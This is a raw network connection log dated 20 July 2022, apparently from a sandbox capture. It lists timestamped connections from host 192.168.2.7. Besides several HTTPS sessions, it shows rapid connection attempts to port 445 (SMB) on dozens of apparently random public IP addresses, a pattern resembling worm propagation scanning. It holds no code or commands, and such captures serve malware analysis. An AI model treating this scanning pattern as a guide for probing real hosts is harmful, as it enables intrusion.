Jul 20, 2022 13:24:49.568208933 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.568783045 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.569092989 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.569217920 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.570085049 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.570118904 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.570219040 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.570236921 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.570360899 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.573183060 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573214054 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573276997 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573323965 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.573342085 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573401928 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.573551893 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573575974 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573659897 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.573668957 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573719025 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.573843002 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573872089 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573935986 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.573942900 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.573998928 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.574096918 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.574197054 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.575279951 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.575314045 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.575380087 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.575392962 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.575427055 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.575449944 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.576136112 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.576170921 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.576215982 CEST	50951	445	192.168.2.7	75.89.124.142
Jul 20, 2022 13:24:49.576262951 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.576272964 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.576313019 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.576440096 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.576525927 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.638906002 CEST	50952	445	192.168.2.7	107.238.212.142
Jul 20, 2022 13:24:49.708369970 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.708409071 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708435059 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708575010 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.708592892 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708607912 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708695889 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.708698988 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708722115 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708751917 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708774090 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708777905 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.708795071 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708815098 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708833933 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708839893 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.708863974 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708905935 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708934069 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.708945036 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.708996058 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.709008932 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709021091 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709072113 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.709084988 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709187031 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.709201097 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709218025 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709249973 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.709259033 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709351063 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.709362030 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709383965 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.709408998 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.709496975 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.720061064 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.720283985 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.724258900 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.724298000 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.724318027 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.724399090 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.826128006 CEST	50953	445	192.168.2.7	39.102.25.167
Jul 20, 2022 13:24:49.841798067 CEST	50954	445	192.168.2.7	190.167.161.2
Jul 20, 2022 13:24:49.857569933 CEST	50955	445	192.168.2.7	185.15.42.12
Jul 20, 2022 13:24:50.029571056 CEST	50956	445	192.168.2.7	142.192.144.13
Jul 20, 2022 13:24:50.044090033 CEST	50929	445	192.168.2.7	96.53.9.230
Jul 20, 2022 13:24:50.067781925 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.067820072 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.068537951 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.069174051 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.069190979 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.091564894 CEST	50958	445	192.168.2.7	104.75.215.208
Jul 20, 2022 13:24:50.197855949 CEST	445	50929	96.53.9.230	192.168.2.7
Jul 20, 2022 13:24:50.233019114 CEST	50959	445	192.168.2.7	75.190.19.233
Jul 20, 2022 13:24:50.326582909 CEST	50961	445	192.168.2.7	54.82.68.237
Jul 20, 2022 13:24:50.357852936 CEST	50962	445	192.168.2.7	179.226.201.48
Jul 20, 2022 13:24:50.373204947 CEST	50963	445	192.168.2.7	170.36.24.225
Jul 20, 2022 13:24:50.373831034 CEST	50964	445	192.168.2.7	78.42.131.167
Jul 20, 2022 13:24:50.374912024 CEST	50966	445	192.168.2.7	19.161.67.2
Jul 20, 2022 13:24:50.375689983 CEST	50967	445	192.168.2.7	128.175.7.163
Jul 20, 2022 13:24:50.376298904 CEST	50968	445	192.168.2.7	89.127.78.202
Jul 20, 2022 13:24:50.377140999 CEST	50969	445	192.168.2.7	153.229.103.25
Jul 20, 2022 13:24:50.378011942 CEST	50970	445	192.168.2.7	155.237.51.1
Jul 20, 2022 13:24:50.394618034 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.394804955 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.396569014 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.396581888 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.397058010 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.404561996 CEST	50971	445	192.168.2.7	177.91.142.23
Jul 20, 2022 13:24:50.404994965 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.405252934 CEST	50972	445	192.168.2.7	167.245.63.151
Jul 20, 2022 13:24:50.436075926 CEST	50973	445	192.168.2.7	107.70.211.166
Jul 20, 2022 13:24:50.448503017 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.467786074 CEST	50974	445	192.168.2.7	82.127.44.165
Jul 20, 2022 13:24:50.468837023 CEST	50976	445	192.168.2.7	84.239.152.137
Jul 20, 2022 13:24:50.469360113 CEST	50977	445	192.168.2.7	40.53.108.81
Jul 20, 2022 13:24:50.470124006 CEST	50978	445	192.168.2.7	137.239.115.56
Jul 20, 2022 13:24:50.470171928 CEST	50975	445	192.168.2.7	97.98.46.22
Jul 20, 2022 13:24:50.471455097 CEST	50979	445	192.168.2.7	98.3.252.56
Jul 20, 2022 13:24:50.471846104 CEST	50980	445	192.168.2.7	150.173.33.153
Jul 20, 2022 13:24:50.472989082 CEST	50981	445	192.168.2.7	122.219.21.195
Jul 20, 2022 13:24:50.495316029 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.495368958 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.495497942 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.495711088 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.495724916 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.498347998 CEST	50983	445	192.168.2.7	197.198.84.87
Jul 20, 2022 13:24:50.499028921 CEST	50984	445	192.168.2.7	83.47.127.84
Jul 20, 2022 13:24:50.517822981 CEST	445	50976	84.239.152.137	192.168.2.7
Jul 20, 2022 13:24:50.585377932 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.585475922 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.586141109 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.586152077 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.588969946 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.588988066 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.589217901 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.589229107 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.619981050 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.620018959 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.620044947 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.620182991 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.620198965 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.620220900 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.620238066 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.620244980 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.620966911 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.624973059 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.624994993 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.625010967 CEST	50957	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:50.625020027 CEST	443	50957	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:50.648116112 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.648206949 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.648296118 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.648449898 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.678082943 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.678112984 CEST	443	50982	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:50.678123951 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.678275108 CEST	50982	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:50.701199055 CEST	50985	445	192.168.2.7	165.204.138.245
Jul 20, 2022 13:24:50.717734098 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:50.717780113 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:50.717974901 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:50.719868898 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:50.719892025 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:50.764009953 CEST	50987	445	192.168.2.7	100.220.148.230
Jul 20, 2022 13:24:50.937047958 CEST	50988	445	192.168.2.7	185.15.42.13
Jul 20, 2022 13:24:50.958645105 CEST	50989	445	192.168.2.7	38.245.143.218
Jul 20, 2022 13:24:50.959328890 CEST	50990	445	192.168.2.7	196.183.132.135
Jul 20, 2022 13:24:50.971724033 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:50.971777916 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:50.971929073 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:50.973562956 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:50.973589897 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.044197083 CEST	50976	445	192.168.2.7	84.239.152.137
Jul 20, 2022 13:24:51.089472055 CEST	445	50976	84.239.152.137	192.168.2.7
Jul 20, 2022 13:24:51.121313095 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.121448994 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.123513937 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.123698950 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.125977039 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.126005888 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.126457930 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.131165981 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.160140991 CEST	50992	445	192.168.2.7	215.126.109.37
Jul 20, 2022 13:24:51.162682056 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.162725925 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.163274050 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.163291931 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.163325071 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.163429022 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.172509909 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.236226082 CEST	50993	445	192.168.2.7	215.40.186.132
Jul 20, 2022 13:24:51.258445978 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.258528948 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.258538961 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.258586884 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.260219097 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.260267973 CEST	443	50991	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.260273933 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.260579109 CEST	50991	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.268573046 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.268620014 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.268729925 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.269615889 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.269629002 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.357985973 CEST	50995	445	192.168.2.7	61.251.65.127
Jul 20, 2022 13:24:51.392967939 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.393004894 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.393024921 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.393193960 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.393213034 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.393270969 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.393305063 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.393359900 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.397058964 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.397100925 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.397119045 CEST	50986	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:51.397133112 CEST	443	50986	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:51.403661013 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:51.420901060 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.421735048 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.424905062 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.424925089 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.427468061 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.427486897 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.451289892 CEST	50997	445	192.168.2.7	158.168.96.180
Jul 20, 2022 13:24:51.487037897 CEST	50998	445	192.168.2.7	193.19.10.5
Jul 20, 2022 13:24:51.495632887 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.495707989 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.495774984 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.495800972 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.495984077 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.496001959 CEST	443	50994	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.496114016 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.496119022 CEST	50994	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.499340057 CEST	50999	445	192.168.2.7	115.70.204.233
Jul 20, 2022 13:24:51.500155926 CEST	51000	445	192.168.2.7	83.228.174.26
Jul 20, 2022 13:24:51.500963926 CEST	51001	445	192.168.2.7	145.0.7.227
Jul 20, 2022 13:24:51.501646042 CEST	51002	445	192.168.2.7	63.38.192.229
Jul 20, 2022 13:24:51.502357006 CEST	51003	445	192.168.2.7	158.177.185.34
Jul 20, 2022 13:24:51.503098011 CEST	51004	445	192.168.2.7	172.50.122.198
Jul 20, 2022 13:24:51.503828049 CEST	51005	445	192.168.2.7	131.126.106.187
Jul 20, 2022 13:24:51.504659891 CEST	51006	445	192.168.2.7	112.158.128.49
Jul 20, 2022 13:24:51.517585039 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.517630100 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.518018007 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.530177116 CEST	51008	445	192.168.2.7	121.244.65.236
Jul 20, 2022 13:24:51.530981064 CEST	51009	445	192.168.2.7	22.107.78.69
Jul 20, 2022 13:24:51.559298038 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.559330940 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.560666084 CEST	51011	445	192.168.2.7	1.58.59.252
Jul 20, 2022 13:24:51.593770981 CEST	51012	445	192.168.2.7	30.191.17.156
Jul 20, 2022 13:24:51.595061064 CEST	51013	445	192.168.2.7	210.250.11.223
Jul 20, 2022 13:24:51.598711967 CEST	51014	445	192.168.2.7	164.41.187.123
Jul 20, 2022 13:24:51.599441051 CEST	51015	445	192.168.2.7	126.40.117.239
Jul 20, 2022 13:24:51.599612951 CEST	51016	445	192.168.2.7	123.141.24.248
Jul 20, 2022 13:24:51.600070953 CEST	51017	445	192.168.2.7	223.17.67.18
Jul 20, 2022 13:24:51.600210905 CEST	51018	445	192.168.2.7	212.179.195.112
Jul 20, 2022 13:24:51.600344896 CEST	51019	445	192.168.2.7	20.156.72.70
Jul 20, 2022 13:24:51.623411894 CEST	51020	445	192.168.2.7	54.184.69.91
Jul 20, 2022 13:24:51.624159098 CEST	51021	445	192.168.2.7	37.171.129.145
Jul 20, 2022 13:24:51.698050976 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.698164940 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.698967934 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.698988914 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.707736015 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.707762003 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.790565968 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.790637016 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.790673971 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.790694952 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.791253090 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.791277885 CEST	443	51007	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.791292906 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.791343927 CEST	51007	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.793109894 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.793175936 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.793293953 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.793715000 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.793745995 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.826385975 CEST	51023	445	192.168.2.7	104.243.199.3
Jul 20, 2022 13:24:51.896493912 CEST	51024	445	192.168.2.7	71.180.147.236
Jul 20, 2022 13:24:51.932343006 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:51.932419062 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.940550089 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:51.940581083 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.000138044 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.000168085 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.013751984 CEST	51025	445	192.168.2.7	185.15.42.14
Jul 20, 2022 13:24:52.053339005 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.053390980 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.053513050 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.066945076 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.067018032 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.067086935 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.067115068 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.076848030 CEST	51027	445	192.168.2.7	31.60.6.206
Jul 20, 2022 13:24:52.077625036 CEST	51028	445	192.168.2.7	44.70.51.245
Jul 20, 2022 13:24:52.081655979 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.081676960 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.082511902 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.082556963 CEST	443	51022	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.082570076 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.082612991 CEST	51022	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.087107897 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.087162971 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.087255955 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.098579884 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.098617077 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.232737064 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.232835054 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.241964102 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.242140055 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.264777899 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.264806986 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.265067101 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.266412020 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.312495947 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.316591978 CEST	51031	445	192.168.2.7	134.69.246.69
Jul 20, 2022 13:24:52.338634968 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.338658094 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.359143972 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.359163046 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.362795115 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.362823963 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.362842083 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.362934113 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.362961054 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.362982988 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.363054991 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.363126040 CEST	443	51026	20.54.89.106	192.168.2.7
